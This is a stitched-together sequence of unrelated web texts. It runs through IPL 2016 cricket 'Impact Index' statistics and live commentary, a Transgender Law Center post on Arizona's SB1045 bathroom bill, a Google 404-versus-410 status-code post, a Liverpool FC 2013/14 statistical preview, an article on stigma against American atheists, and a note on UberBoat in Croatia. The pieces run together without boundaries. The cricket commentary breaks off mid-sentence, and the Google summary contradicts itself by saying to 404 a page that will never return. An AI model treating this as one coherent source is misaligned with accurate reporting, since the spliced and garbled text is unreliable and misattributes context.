The three highest impact left-arm pace bowlers (min. 40 Tests) in Test cricket history - Alan Davidson, Wasim Akram and Mitchell Johnson.
Wasim Akram is the highest impact tail-end batsman (batting positions 9 to 11; min. 40 Tests) in Test cricket history. He is followed by Daniel Vettori and Stuart Broad.
After 41 Tests in their respective careers: Sunil Gavaskar's Batting Impact is 33% higher than Virat Kohli's and 72% higher than Sachin Tendulkar's while Kohli has a 29% higher Batting Impact than Tendulkar.
The highest impact number 11 batsman in the history of Test cricket is Derek Underwood (minimum 20 Tests). He is followed by Zaheer Khan and Nathan Lyon.
MS Dhoni is the most consistent player in the history of Test, ODI and T20 cricket. His failure rate is just 6% in Test cricket (min. 50 matches), 9% in ODI cricket (min. 60 matches) and 20% in T20 cricket (min. 60 matches).
Highest Strike Rate Impact batsmen in ODI history (min. 50 innings): Vivian Richards, Glenn Maxwell, Shahid Afridi, Jos Buttler, Lance Cairns.
Kumar Sangakkara, Inzamam-ul-Haq, Kane Williamson and AB de Villiers have the unique double of being the highest impact batsmen in both Tests and ODIs for their country.
Although he has not produced any series or tournament defining performances, Jonathan Trott is the most consistent batsman in England’s ODI history (min. 60 innings).
Alastair Cook became the 12th batsman in Test history to cross the 10,000-run mark during the recent series against Sri Lanka. However, only four from this club - Brian Lara, Kumar Sangakkara, Jacques Kallis and Rahul Dravid - feature amongst the twenty highest impact Test batsmen of all-time.
David Warner has been the second-highest impact (after Steven Smith) Australian batsman and also the most consistent one (failure rate of 33%) in ODI cricket the last couple of years. His loss due to injury will hurt Australia in the remainder of the ongoing tri-series in the Caribbean.
Angelo Mathews, Asad Shafiq and Jonny Bairstow are the three highest impact lower middle-order batsmen (batting positions 6, 7 and 8; min. 5 Tests) in the last couple of years in Test cricket.
Mitchell Starc has made a comeback to international cricket in the ongoing tri-series in the Caribbean. He is the second-highest impact bowler (after Dennis Lillee) in Australia's ODI history (min. 40 innings).
Impact IPL 2016 XI:
(in batting order; min. 7 innings)
1. David Warner (c)
2. Virat Kohli
3. AB de Villiers 4. Lokesh Rahul (wk) 5. Yusuf Pathan 6. Krunal Pandya 7. Chris Morris 8. Bhuvneshwar Kumar 9. Yuzvendra Chahal 10. Sreenath Aravind 11. Mustafizur Rahman
For the fourth time in six IPL tournaments, Impact Index got at least 3 of the 4 projected semi-finalists right. The only team to miss out on a playoff spot (from our expected four) was Mumbai Indians, and they were heavily undone by the shifting of their home venue. More here.
Highest Strike Rate Impact batsmen in IPL 2016 (min: 7 inns): Krunal Pandya, Chris Morris and David Warner.
Highest Economy Impact bowlers in IPL 2016 (min: 7 inns): Sunil Narine, Rajat Bhatia and Sreenath Aravind.
RCB: 179 for 5, after 18 overs
Bhuvneshwar Kumar: 3-0-17-0
He is still searching for his first wicket tonight, but Bhuvneshwar Kumar has had a 70% Success Rate against Royal Challengers Bangalore in IPL.
RCB: 158 for 3, after 15 overs
Shane Watson: 7 not out, off 4 balls
Shane Watson's only high impact innings of note against SRH came way back in 2013. Since then, he has suffered 4 failures in 7 innings against them.
RCB 149 for 3 in 14 overs.
Rahul 8 not out in 5 balls.
With a failure rate of just 18% with the bat, Lokesh Rahul is the third-most consistent batsman (after Andre Russell and Ambati Rayudu; min. 7 innings) in the tournament. Can he see RCB through here today?
RCB: 129 for 1, after 12 overs
Virat Kohli: 44 not out, off 31 balls
Virat Kohli has a 75% Success Rate against Sunrisers Hyderabad. In fact, he has five very high impact performances in eight innings against them in the IPL.
RCB 69 for 0 in 7 overs.
Mustafizur Rahman 0-4 in 1 over.
Mustafizur Rahman is the second-most restrictive pace bowler in IPL 2016 after Rajat Bhatia.
His overs from hereon will be crucial to SRH's chances in the match.
RCB 18 for 0 in 2 overs.
Chris Gayle 11 runs off 8 balls.
Chris Gayle is not a great big-match player in T20 cricket.
His failure rate as a batsman in big-matches (in all T20 cricket) increases to 55% (in 29 knockout games) compared to 40% in group games. Gayle has played in 35 T20 tournaments but has provided a defining performance (a high impact performance in a knockout match where his team has won) in only two of them.
Can he set the record straight today?
RCB: 5 for no loss in 1 over.
Chris Gayle is the highest impact batsman and the most consistent one (min. 10 innings) at the Chinnaswamy Stadium in Bangalore in IPL history. He has 11 high impact performances with the bat in 28 innings at the venue.
Can he produce a big one today?
RCB 1 for 0 in 0.3 overs.
Virat Kohli 0 run off 1 ball.
If Virat Kohli fails with the bat tonight, he will not finish as the tournament's highest impact batsman.
SRH 168 for 6 in 18 overs.
SRH's second (Ben Cutting) and third-highest (Bipul Sharma) Strike Rate Impact batsmen in their playing XI at the crease right now. Can they score big at the end?
SRH 147 for 4 in 16 overs.
Hooda dismissed by Aravind for 3.
Deepak Hooda has failed in 10 out of his 15 innings with the bat in the tournament. His last high impact performance with the bat came against Delhi Daredevils in IPL 2015 when he scored 54 in just 25 balls playing for Rajasthan Royals.
SRH 120 for 2 in 13 overs.
Jordan 1-21 in 2 overs.
Although Chris Jordan has the knack of bowling yorkers at the death, he is a very low impact T20 bowler. He picks up a low proportion of top/middle order wickets and also has a high failure rate of 69%.
SRH 97 for 2 in 9.5 overs.
Henriques dismissed for 4.
Moises Henriques has failed in 10 out of 14 innings in the tournament.
That is a 71% failure rate with the bat.
SRH 65 for 1 in 7 overs.
Yuzvendra Chahal 1-0-6-1.
Yuzvendra Chahal is not only the highest impact bowler in IPL 2016 but his proportion of top/middle order wickets is the highest for any bowler in IPL history (min. 30 innings).
SRH 46 for 0 in 5 overs.
Shane Watson 1-0-19-0.
If RCB go on to win IPL 2016, Shane Watson will only be the second player after Yusuf Pathan to produce two tournament-defining performances for two different teams in the history of the IPL. Hasn't had a great start today though.
SRH 21 for 0 in 3 overs.
Sreenath Aravind 2-0-16-0.
Sreenath Aravind is the only bowler in IPL 2016 to not have failed in any match (min. 7 inns.). It makes him the most consistent bowler of the tournament so far.
SRH 9 for 0 in 1.4 overs.
Even though Sunrisers Hyderabad have had the highest Bowling Impact during the tournament, Royal Challengers Bangalore are marginally behind them (thanks to their mid-season recovery) as the second-highest Bowling Impact team of the tournament.
SRH win the toss and opt to bat first.
Amongst the 20 highest Chasing Impact batsmen in IPL 2016, there are three RCB batsmen (Kohli, de Villiers and Rahul) compared to only one SRH batsman (Warner). SRH have won the toss and have chosen to play to their strengths (defending) which in turn also means RCB playing to theirs (chasing). Should be a fascinating contest.
Highest Strike Rate Impact batsmen in IPL 2016 (min. 7 inns)- Krunal Pandya, Chris Morris and Carlos Brathwaite.
Highest Economy Impact bowlers in IPL 2016 (min. 7 inns)- Sunil Narine, Rajat Bhatia and Mustafizur Rahman.
SRH 117 for 6 in 15.5 overs.
Bipul Sharma comes in to bat.
SRH need 46 runs off 25 balls.
Bipul Sharma's Strike Rate Impact in T20s is third only to Ben Cutting and David Warner amongst the SRH playing XI today.
SRH 85 for 5 in 12.5 overs.
Naman Ojha 1 run off 2 balls.
Naman Ojha has failed nine out of the 11 times he has batted in this IPL. Can he provide a high impact performance today?
SRH 83 for 4 in 12 overs.
Ben Cutting 7 runs off 5 balls.
Ben Cutting has the third-highest Strike Rate Impact in BBL history after Glenn Maxwell and Chris Lynn. Can he tonk a few today?
SRH: 75 for 3 after 11 overs
Shivil Kaushik: 3-0-13-1
Shivil Kaushik had failed with the ball comprehensively in his last three innings. Quite a return so far. A wicket of Yuvraj and three tight overs.
SRH 62 for 3 in 9 overs.
Yuvraj Singh dismissed for 8 runs off 13 balls.
Yuvraj Singh has now failed in two of the three knockout games he has played in the IPL. His only success came in the last match against KKR.
SRH 43 for 2 in 5 overs.
Warner 25 not out in 18 balls.
David Warner's Strike Rate Impact (scoring rate relative to match norm) is the fourth-best in the tournament after Krunal Pandya, Chris Morris and AB de Villiers.
SRH 11 for 1 in 2 overs.
Warner 10 not out in 8 balls.
David Warner is the second-highest impact batsman (min. 7 innings) in IPL 2016 after Virat Kohli. He has produced seven high impact performances with the bat in 15 innings in the tournament.
SRH: 6 for 1 after 1.1 overs
Shikhar Dhawan: run out for 0
Shikhar Dhawan has now failed in three of his last four innings this IPL.
GL 162 for 7 in 20 overs.
During the death overs (16-20) against SRH in the two previous encounters, GL scored 72 for 5 off 10 overs. They have scored 53 runs off 5 overs for the loss of two wickets today. SRH have missed Mustafizur Rahman badly.
GL 148 for 6 in 18.3 overs.
During the death overs (16-20) against SRH in the two previous encounters, GL scored 72 for 5 off 10 overs. They have already scored 39 runs off 3.3 overs for the loss of a wicket today. How badly will SRH miss Mustafizur?
GL 102 for 5 in 14.2 overs.
Ravindra Jadeja 4 runs off 3 balls.
Ravindra Jadeja has failed 11 times out of the 14 times he has batted in IPL 2016. Can he deliver a surprise with the bat today?
GL 81 for 4 in 12 overs.
Finch 14 not out in 14 balls.
Aaron Finch has been the highest impact batsman for GL this season. Only Virat Kohli, David Warner, AB de Villiers and Steven Smith have scored a higher proportion of runs than Finch in the tournament.
Can he produce a big one for GL, today?
GL 64 for 3 in 9.3 overs.
Moises Henriques 1.3-0-7-0.
Without taking big-match performances into account, Moises Henriques has been the fourth-highest impact all-rounder in the IPL since making his debut (in 2009) after Shane Watson, Andrew Symonds and Jacques Kallis.
GL 28 for 2 in 4.5 overs.
Dinesh Karthik 4 runs off 4 balls.
Dinesh Karthik has failed in six out of his eight outings against SRH. A failure rate of 75%. His Batting Impact against them drops by 56%.
GL 17 for 1 in 2.3 overs.
Brendon McCullum 9 runs off 7 balls.
The only time Brendon McCullum produced a high impact performance in a T20 knockout match was back in 2006 where he scored 62 runs off 22 balls against Auckland in the final of the New Zealand Twenty20 competition.
Highest Strike Rate Impact batsmen in IPL 2016 (min. 7 inns)- Krunal Pandya, Chris Morris and AB de Villiers.
Highest Economy Impact bowlers in IPL 2016 (min. 7 inns)- Sunil Narine, Rajat Bhatia and Mustafizur Rahman.
KKR 118 for 5 in 16.3 overs.
45 runs needed off 21 balls.
R Sathish 1 run off 1 ball.
R Sathish was amongst the five highest Strike Rate Impact batsmen in this year's Syed Mushtaq Ali Trophy. He has the ability to tonk a few. None of his high impact performances came while chasing though.
KKR 88 for 4 in 12.4 overs.
Manish Pandey 21 runs off 14 balls.
In the five knockout matches that he has played in the IPL, Manish Pandey has produced two very high impact performances. In fact, Pandey's impact increases by 60% in knockout matches in the IPL.
KKR 69 for 4 in 10.5 overs.
Yusuf Pathan dismissed for 2.
Yusuf Pathan is the highest impact batsman for KKR this season. And also the one with the highest Strike Rate Impact (scoring rate relative to match standard).
That is a massive wicket for SRH.
KKR 69 for 3 in 10.4 overs.
Yusuf Pathan 2 runs off 5 balls.
Yusuf Pathan is one of the only four players to have produced two tournament-defining performances in the IPL. Others are Kieron Pollard, Suresh Raina and Harbhajan Singh. Yusuf is the only one to do it with two separate teams (RR & KKR) though.
KKR: 63 for 2 after 9 overs
Gautam Gambhir: 28 not out, off 27 balls
In all IPL matches played at the Feroz Shah Kotla, Gautam Gambhir emerges as the highest impact batsman (min. 7 innings). He is also KKR's best chaser. Can he navigate these tricky waters and lead his team to victory?
KKR 34 for 1 in 4 overs.
Munro 8 not out in 7 balls.
Good choice to send in Colin Munro (high Strike Rate Impact) ahead of Manish Pandey.
Pandey is amongst the lowest Strike Rate Impact (scoring rate relative to match norm) batsmen amongst all taking part in IPL 2016. Gambhir also has a high negative Strike Rate Impact in his T20 career. This means he also scores his runs at a rate lower than the match norm.
KKR 15 for 1 in 1.5 overs.
Uthappa dismissed for 11 by Sran.
Robin Uthappa is the second-highest impact batsman (after Virat Kohli) in T20 cricket in the last couple of years. That is a huge blow for KKR.
SRH: 162 for 8 in 20 overs.
KKR were amongst the highest Chasing Impact teams coming into IPL 2016. Not surprisingly, they won six out of their seven matches batting second in the tournament.
Gautam Gambhir is their best chaser.
Can he produce a high impact performance today and lead his team to victory?
SRH 162 for 8 in 20 overs.
Bipul Sharma 14 runs off 6 balls.
Bipul Sharma's Strike Rate Impact in T20s is third only to Ben Cutting and David Warner in the SRH playing XI. Has played a very handy cameo today.
SRH 95 for 3 in 13.2 overs.
Yuvraj Singh 19 runs off 14 balls.
Yuvraj Singh has suffered comprehensive failures in only three out of his 14 appearances against KKR in the IPL. A failure rate of only 21% compared to his overall failure rate of 44% in the IPL.
He has never produced a high impact performance against KKR though which indicates that he has thrown away good starts in the past. What will he do today?
SRH 82 for 3 in 12 overs.
Yuvraj Singh 7 runs off 8 balls.
Yuvraj Singh has played in only one knockout match in his IPL career thus far. The last and only IPL knockout match he played was for KXIP in 2008 where he scored only four runs off eight balls against Chennai Super Kings.
SRH 71 for 3 in 10 overs.
Kuldeep Yadav 2-0-14-2.
The last time Kuldeep Yadav played in a T20 knockout match, he produced a tournament-defining performance. He picked up 2-12 in 4 overs against Baroda in the Syed Mushtaq Ali Trophy final in 2016.
SRH 55 for 1 in 8.2 overs.
Sunil Narine 1-0-12-0.
Sunil Narine's impact in knockout matches increases by 19% in T20s. He has already produced three tournament-defining performances (high impact performance in a knockout match leading to the team winning the tournament) in his T20 career but none in the IPL so far.
SRH 21 for 1 in 4 overs.
Shikhar Dhawan dismissed for 10 runs off 10 balls.
Shikhar Dhawan in knockout matches in IPL: 5, 12, 0, 33 and 10. Four failures in five such opportunities.
SRH: 12 for 1 after 2 overs
Morne Morkel dismisses Shikhar Dhawan for 10
Morne Morkel has an 80% success rate in five previous innings against SRH.
Shikhar Dhawan has now failed in three of his last four innings against KKR.
KKR win the toss and elect to field.
David Warner is the second-highest impact batsman (min. 7 innings) in IPL 2016 after Virat Kohli. He has produced 7 high impact performances with the bat in 14 innings in the tournament.
Can he again produce a big one today?
GL 158 all out in 20 overs.
RCB 159 for 6 in 18.2 overs.
AB de Villiers 79 not out in 47 balls.
AB de Villiers produced the highest impact performance in a knockout match in his T20 career (and the third-highest impact overall) to take RCB to the final of IPL 2016.
RCB 71 for 6 in 10.3 overs.
AB de Villiers 30 runs off 22 balls.
AB de Villiers' impact as a batsman drops by 17% in chases in knockout matches. His failure rate increases to 67% compared to his career failure rate of 45%.
In the six times he has played in knockout chases in T20s, he has failed four times. Can he produce his greatest T20 performance under such odds?
RCB 65 for 5 in 9 overs.
Kulkarni 4-14 in 4 overs.
Dhawal Kulkarni produced the highest impact bowling performance of his T20 career today. He picked up four top/middle order wickets and was also very restrictive.
RCB 25 for 2 in 3.2 overs.
Lokesh Rahul joins AB at the crease.
Lokesh Rahul has been the most consistent batsman in IPL 2016 thus far.
A rare failure for him today.
RCB 12 for 1 in 1.2 overs.
Kohli dismissed by Kulkarni for a duck.
Virat Kohli is the highest impact batsman in IPL 2016. He had produced 9 high impact performances with the bat in 14 innings prior to this match.
That is a huge wicket for GL.
RCB: 11 for no loss after 1 over, chasing 159
Chris Gayle: 5 off 5 balls
Chris Gayle is the second-highest impact batsman (after MS Dhoni) in all IPL games played at the M Chinnaswamy Stadium in Bangalore (min. 5 innings).
GL 108 for 5 in 16 overs.
Jadeja dismissed for 3 in 7 balls.
Ravindra Jadeja's Strike Rate Impact (scoring rate relative to match standard) has gone down by 300% in the last couple of years in T20 cricket.
GL 72 for 3 in 12 overs.
Dwayne Smith 45 not out in 29 balls.
Dwayne Smith has 5 tournament-defining performances (TDs) with the bat in his T20 career. And four of those have been as an opener. He is a big-match player. Can he produce a match-changing innings here for GL?
GL 25 for 3 in 6.1 overs.
GL were 9 for 3 in 3.4 overs.
Only once in IPL history has a team, batting first, gone on to win after losing three or more wickets within 10 runs on the board. Sunrisers Hyderabad managed to do that against Rajasthan Royals in 2013.
GL 9 for 2 in 3.3 overs.
Suresh Raina 1 run off 8 balls.
Suresh Raina has been the highest Pressure Impact batsman for Gujarat Lions in IPL 2016. Can he salvage them from this position?
GL 2 for 0 in 1 over.
Sreenath Aravind 1-0-2-0.
Sreenath Aravind has been the highest impact bowler in IPL games played at the M Chinnaswamy Stadium. He has failed only once in seven games there. More importantly, he has also been the most consistent bowler in IPL 2016 having not failed in any of the seven games as a bowler.
Highest impact batsmen in IPL 2016 (min: 7 inns)- David Warner, Virat Kohli and Steve Smith.
Highest impact bowlers in IPL 2016 (min: 7 inns)- Yuzvendra Chahal, Bhuvneshwar Kumar and Andre Russell.
Highest impact batsmen in IPL 2016 (min. 7 inns.): Virat Kohli, David Warner and Steve Smith.
Highest impact bowlers in IPL 2016 (min. 7 inns.): Yuzvendra Chahal, Sunil Narine and Andre Russell.
RCB 91 for 3 in 12.4 overs.
Shane Watson 3 runs off 9 balls.
Shane Watson's Batting Impact has dropped by 70% in IPL 2016 compared to his overall Batting Impact in rest of the IPL seasons. He is amongst the ten lowest impact batsmen in IPL 2016. Good chance to get into some form here.
RCB 32 for 2 in 4.1 overs.
Lokesh Rahul 9 runs off 4 balls.
Lokesh Rahul has failed in only one out of his nine innings in the IPL and has been the most consistent batsman of the tournament. Consistency here doesn't imply a string of big scores, it means that the batsman has |
tweet: We beat AZ’s #papers2pee bill. Now help us beat the #NoLoo4U bill.)
Transgender Law Center is gravely concerned that a pro-discrimination bill introduced by Arizona Representative John Kavanagh would have devastating consequences for transgender people and their families.
Arizona Senate Bill 1045, dubbed “no loo for you” by local residents, would permit business owners to restrict access to gender-specific facilities based on a person’s gender identity or gender expression. Designed to eviscerate recent LGBT protections passed by the Phoenix City Council, the proposed state bill would prohibit local governments from creating or enforcing nondiscrimination laws meant to protect transgender people from discrimination.
Originally, Rep. Kavanagh introduced a bill that would have required people suspected of being transgender to show a birth certificate that matched the gender of the restroom or facility being used or face arrest. The bill was withdrawn due to community outcry, as some began calling it another “papers, please” bill that unfairly criminalized people who do not fit narrow gender stereotypes.
Kavanagh’s newest plan to enshrine discrimination into Arizona law through SB1045 is already striking fear among transgender people in the state. “This bill sends a message to the public that it’s okay to exclude and harass transgender and gender-nonconforming people like me, and it has increased my level of fear that I myself will be targeted somehow,” said Abby Jensen, a transgender attorney and activist in Tucson, Arizona. “Already, I’ve heard reports of increased bullying and harassment against LGBT youth here in Tucson.” Read more…
[soundcloud url=”http://api.soundcloud.com/tracks/86113118″ params=”” width=” 100%” height=”166″ iframe=”true” /]Historically, Google treated the 404 (page not found) and 410 (gone) server header page status codes as the same. Both meant, the page no longer exists.
Well, that has all changed now. Google is now treating the 410 as "more permanent" than the 404. Yes, this is a minor change but it is likely an important change for webmasters to note.
JohnMu of Google said in a Google Webmaster Help thread:
I followed up on the 404 vs 410 thing with the team here. As mentioned by some others here & elsewhere, we have generally been treating them the same in the past. However, after looking at how webmasters use them in practice we are now treating the 410 HTTP result code as a bit "more permanent" than a 404. So if you're absolutely sure that a page no longer exists and will never exist again, using a 410 would likely be a good thing. I don't think it's worth rewriting a server to change from 404 to 410, but if you're looking at that part of your code anyway, you might as well choose the "permanent" result code if you can be absolutely sure that the URL will not be used again. If you can't be sure of that (for whatever reason), then I would recommend sticking to the 404 HTTP result code. In the worst case, the 410 will be treated the same as a 404; in the best case it'll be a bit quicker & stickier :-).
So if you never ever will have a page return on a specific URL, then 410 it. But if you never will have a page return on a specific URL, then 404 it.
Forum discussion at Google Webmaster Help.by Dan Kennett
It’s difficult to gauge the expectations of Liverpool fans going into this season and even harder to make a reasonable definition of “success” for this Liverpool team. During four lamentable years of finishing 7th, 6th, 8th and 7th, the high-point remains victory in the High Court over the ruinous Tom Hicks and George Gillett. The nadir was probably reached in the calendar year 2012, when a full league season yielded a borderline relegation total of 43 points and the team went 367 days between consecutive league wins.
Through most of last season, the impression was an entire club learning on the job, novice owners, manager with one season in the top flight, extremely young squad and a novice CEO. The turning point was the January transfer window and the arrival of two players who made a genuine, significant impact on the team’s performance and results. For the 2nd half of the season, the team returned 36 points (the median for a Liverpool half season in a 20-team Premier League is 33.5), the club’s best performance since the 2nd half of 2008/09
Sturridge & Coutinho
Sturridge provided all the attributes you want from a centre forward with extreme pace, quality finishing, and physical presence. Sturridge was an unsustainably good 9/34 in-box shot conversion (0.264) and managed an astonishing 62% on target (including blocked shots)
Coutinho instantly became the most sublime creative player at Liverpool since the lesser-spotted Jari Litmanen in 2001, a bona-fide Brazilian maestro. He created a superb 2.8 open play chances per match, making him a peer of David Silva, Juan Mata and Suarez. However, Coutinho’s value-add was that over 30% were Opta’s “clear chances.” Chance quality is a critical advantage, because we know that 38% of “clear” chances are converted compared to 8% of “normal” chances. Whilst Suarez, Silva, and Mata created a clear chance between every 190 and 200 minutes, with Coutinho it’s 100. Those numbers make little Phil look a genuine phenom.
(Aside: whilst not popular with some analysts, I’m a big fan of the Opta “Clear chance” data. Clear Chances include things like penalties, one-on-ones, unchallenged headers and shots with clear line of sight to the GK)
Here comes the rub – the problem with Sturridge & Coutinho is that they both only played one third of the season (about 1,100 minutes each). And neither have played more than 2,000 season minutes in their career. The good news is that, between them, they can replace-the-irreplaceable Luis Suarez whilst he is suspended for the first 6 games. Virtually no player in the world can match Suarez’s output in terms of Goals, Shots, Chances Created and Clear Chances Created. For what Liverpool can afford (and attract), there’s no single player who can match Suarez’s output, but between them, Coutinho and Sturridge have bettered it so far. I’ve likened this to the “Giambi’s Hole” chapter in Michael Lewis’s Moneyball where the Oakland A’s were faced with replacing the Jason Giambi, a player whose OBP was 50 points higher than any other player in the league in his last season with the A’s. They couldn’t do it directly, but replaced him with a number of players and the team improved overall.
Squad
Even if there are no more arrivals or departures, the Liverpool first XI and squad are significantly stronger than a year ago, thanks to some excellent work last January and some early summer work. In defence, Reina, Carragher and Danny Wilson have been replaced in the squad by Mignolet, Toure and Andre Wisdom. In midfield, Joe Cole, Shelvey, Spearing and Carroll have been replaced by Coutinho, Alberto, Aspas and Sturridge. The one nagging concern remains the lack of an aggressive, dominant centre back (what this team would give for Sami Hyppia!). If such a player can be recruited before the end of the window, then things might really be looking up.
Critical Success Factors for 2013/14
1) Making it harder for opponents to score
Liverpool’s number 1 problem was that they were too easy to score against last season but this isn’t a recent phenomenon, it’s been a problem through the last 4 years as you can see:
Liverpool Opponent Box Conversion 2012/13 0.175 2011/12 0.188 2010/11 0.156 2009/10 0.175 2008/09 0.149
The 5 year league mean for box conversion is 0.146 (with n=100 and standard deviation=0.024)
What is more curious is that Liverpool were extremely good at keeping Opponent’s penalty box chances and clear chances to a very low level
Team Opponents Box Shots per match Opponents Box Conversion Opponents Clear Chances per match Opponents Clear Chance conversion Liverpool 5.4 0.175 1.3 0.392 Man Utd 6.6 0.156 1.1 0.450 Man City 5.6 0.118 1.0 0.405 Chelsea 6.9 0.121 1.2 0.298 Arsenal 5.9 0.134 1.7 0.375 Spurs 5.8 0.199 1.7 0.406
My own conclusion is that Liverpool didn’t have a systemic problem last season in terms of conceding box chances and clear chances to the opposition. Rather there has been a weakness at Goalkeeper for a number of years in terms of not enough opponents shots were being saved compared to other clubs. In fact, Opta confirmed that in the last two seasons for GK playing more than 1000 minutes, only Paddy Kenny had a worse “% of shots in the box saved” number than Pepe Reina. Thankfully this looks to have been addressed with the purchase of Simon Mignolet, a goalkeeper who performs extremely well in just about every GK metric that you care to choose. In a sport of very few goals like football, the theory is that more saves equals fewer goals conceded equals more points.
2) Become more efficient in front of goal
It’s scarcely believable, but 2012/13 saw a 47% improvement in Liverpool’s penalty box finishing compared to 2011/12. However this improvement was still not enough to pull them above the Premier League mean. To seriously challenge for the top 4, Liverpool are going to have to return a well above average conversion rate, this means improving from an all-box conversion of 0.135 to 0.15 or even 0.16. Even the shots from prime central locations in the box need to be improved from 0.188 last season to 0.21 or 0.22. This leads us nicely onto point (3)
3) Patience in the Final Third
Liverpool’s Achilles heel in attack was too many shots from “bad” areas. The team created far more chances than any other team in the league (14.5 per game, next best 13.6), and also had the 3rd most “clear” chance opportunities with 101 (City 121, United 118, Chelsea only 76).
However the quantity of shots from wide and narrow areas in the box was ridiculous and converted at an appallingly bad rate.
The other final third metric that Liverpool need to improve on last season is Final Third Pass Completion. Whilst Liverpool’s figure of 0.728 was pretty good, it needs to get up to 0.75 to be really effective. That little bit more patience and opting to pass instead of the crazy shot could further improve the number of good chances created and result in those extra few goals that in turn mean more points.
Conclusions
If Liverpool can retain Suarez and integrate him to a system with Coutinho and Sturridge, then they could be onto a very good thing if all 3 produce similar levels to 2012/13. Assuming he can cope with the pressure of being Liverpool GK, Mignolet should make a big improvement on the team’s defensive performance. The signings of Aspas and Alberto look like clear squad upgrades for rotating in the front three, whilst the young tyro’s of Raheem Sterling and Jordon Ibe have astonishing pace and could be big factors away from Anfield.
In terms of results, if the second half of last season can be repeated over the season, then the team will be right in the mix for Champions League qualification, but even then may still fall short. My personal prediction is 6th and 68-70 points.
Related
Article by Ted KnutsonKANSAS CITY, Mo. -- Josh Stewart differs from most atheists. He'll tell you there is no God.
But when he gets together with other faithless folks in the Kansas City Atheist Coalition, they color code their name tags. One hue for those who are proudly public about their beliefs, another for whom photographers are asked to avoid.
"It is an issue," said the 31-year-old Westport, Mo. resident and coffee shop worker. "They're worried how their boss or their family or somebody else might react. It's not always good."
Even in anonymous surveys, atheists tend to keep their views secret.
"There's a lot of atheists in the closet," University of Kentucky psychologist Will Gervais, whose research suggests their numbers are undercounted, told Vox. "If they knew there are lots of people just like them out there, that could potentially promote more tolerance."
Yes, America is becoming steadily less religious.
Fewer parents raise their children in the church. Those kids grow up less likely to worship. It's not just that more people self-style their faith outside sect or denomination -- although that's happening, too. More people reject faith in the supernatural entirely.
Yet even as their numbers grow, researchers continue to find atheists a particularly unpopular lot.
Americans, pollster Gallup reports, would vote for a Catholic, a woman, an African-American, a Jew, a Mormon, a gay or lesbian person, an evangelical Christian or a Muslim -- in that order -- before they'd consider an atheist president. Only socialists ranked in less regard.
Sociologists and opinion researchers define an atheist as someone who doesn't believe in God. Yet even in anonymous telephone interviews, people are a third as likely to accept the label as to concede the belief (or lack thereof). Said one researcher: "They're hiding it."
A research group surveyed Americans in 2004 and again in 2014. The numbers remained virtually unchanged and declared a clear preference for the faithful over the irreligious.
A quarter of those surveyed thought atheists didn't share their values. More than a third said atheists held a different vision for the country. A third said they lacked a moral center. Nearly half don't want their children to marry an atheist.
A recently published study based on 2,000 interviews suggested that a quarter of Americans or more are atheist -- multiples of what other surveys have found.
Gervais and fellow University of Kentucky psychologist Maxine Najle posed a list of innocuous statements -- "I own a dog," "I enjoy modern art" -- and asked how many of the declarations applied to a respondent. Then they put the same statements to another group but added the statement, "I believe in God."
By comparing the results, they concluded that 26 percent of the U.S. population doesn't believe in God. Previous surveys in 2015 by Pew and Gallup asked directly about the belief in God and found the number of atheists at between 3 and 11 percent.
"Obtaining accurate atheist prevalence estimates may help promote trust and tolerance of atheists -- potentially 80 million people in the USA and well over a billion worldwide," the study said.
For now, though, atheists remain largely out of view and broadly disliked.
"Anti-atheist sentiment is still really high," said Penny Edgell, a sociologist at the University of Minnesota. "That doesn't decrease with exposure, doesn't change as the number of atheists grow. That stigma is why there could be quite a few people out there who don't identify as atheist. They're not comfortable."
She sees a religious and political polarization at work. Christians are likely to see faith in the teachings of the New Testament as central to their identity. The same is true for Muslims and the Koran. So when atheists suggest there is no higher power, Edgell said, people of faith often take that as an attack.
Atheists who draw the most attention tend also to be those not just skeptical of God's existence, she said, but also those who belittle religion and faith.
Richard Dawkins, author of books such as The God Delusion, presses aggressively on the idea that belief in God equals a rejection of science. The late Christopher Hitchens spent the final years of his life in public arguments, including in the book God Is Not Great: How Religion Poisons Everything, railing against the religious majority.
Or how is a religious person supposed to react to "An Atheist Manifesto," in which writer Sam Harris imagines a little girl abducted, raped and killed while her parents hold faith that God will look out for their child?
"Is it good that they believe this?
"No.
"The entirety of atheism is contained in this response," Harris continues. "Atheism is not a philosophy; it is not even a view of the world; it is simply a refusal to deny the obvious."
One social psychologist calls people like Harris "fundamental atheists" who aggressively make the argument that belief in God is for suckers.
"Those people are more rare than other atheists... but they represent the only time someone knows they're hearing from an atheist," said Jordan LaBouff, a University of Maine psychology professor who has studied religion and prejudice.
He said even growing contact with more ordinary atheists -- people who often buy the ethical truths of religious Scripture even if they can't accept supernatural elements as fact -- might not dramatically reduce prejudice.
"People implicitly trust members of other religions more than they trust an atheist," LaBouff said. "We sort of assume that people who don't believe in a big scary God that might punish you for bad behavior are going to be less moral." (A 2014 study found that religious and nonreligious people were equally likely to perform moral or immoral acts.)
Those factors, researchers say, help explain why so many atheists keep their nonbeliefs quiet.
Still, atheists may become increasingly unavoidable. Young adults of the millennial generation attend church less than their parents did at the same age, pray less on their own and are less likely to believe in God.
"They're the least religious generation we've ever seen by virtually every measure," said Daniel Cox, the research director for the Public Religion Research Institute. "There's no indication that there will be a rush back to the church."
That's partly, he said, because their baby boomer parents were less likely to raise them in religious teaching. Often, people return to church when they marry or begin to raise children. But Cox said fewer people hold church weddings or fall into the other religious patterns of earlier generations.
Stewart, the Westport, Mo. atheist, was raised by devout Christians and now takes an approach to telling people about atheism much like a preacher. He'll sometimes stand on a street corner with signs such as "I'm an atheist. Ask me anything" or "No God, no problem."
The resulting conversations can get rough. Stewart insists he's not trying to talk somebody out of their faith. Rather, he aims to get people beyond their anti-atheist prejudices.
"It's real common to get a kind of hostile reaction," he said. "But ultimately I don't want to have a fight. I want to have a conversation."
NAN Religion on 06/03/2017As announced a little more than a month ago, UberBoat has arrived in Croatia, just for promotional purposes for the time being. The operational centre of the service should be located at Divulje, and the service will include boats for between 4 and 12 passengers. The service will be available for reservation via a smart-phone application, similar to UberX. The ride on the Divulje-Hvar route could cost between 40 and 50 euros per passenger, reports Dalmacija Danas on May 4, 2017.
The first UberBoat has been seen in Hvar, but it is only a part of Uber's promotional activities.
Although the plans are very optimistic and Uber plans to launch the service as early as June, in reality there are certain issues. First of all, it is impossible to compare the car and the boat service. The reason is very simple: cars always have similar fuel consumption which is not affected by the wind direction, waves and other elements affecting boats. In addition, it is not the same thing to travel in a small rubber boat in comparison to a larger vessel with a cabin.
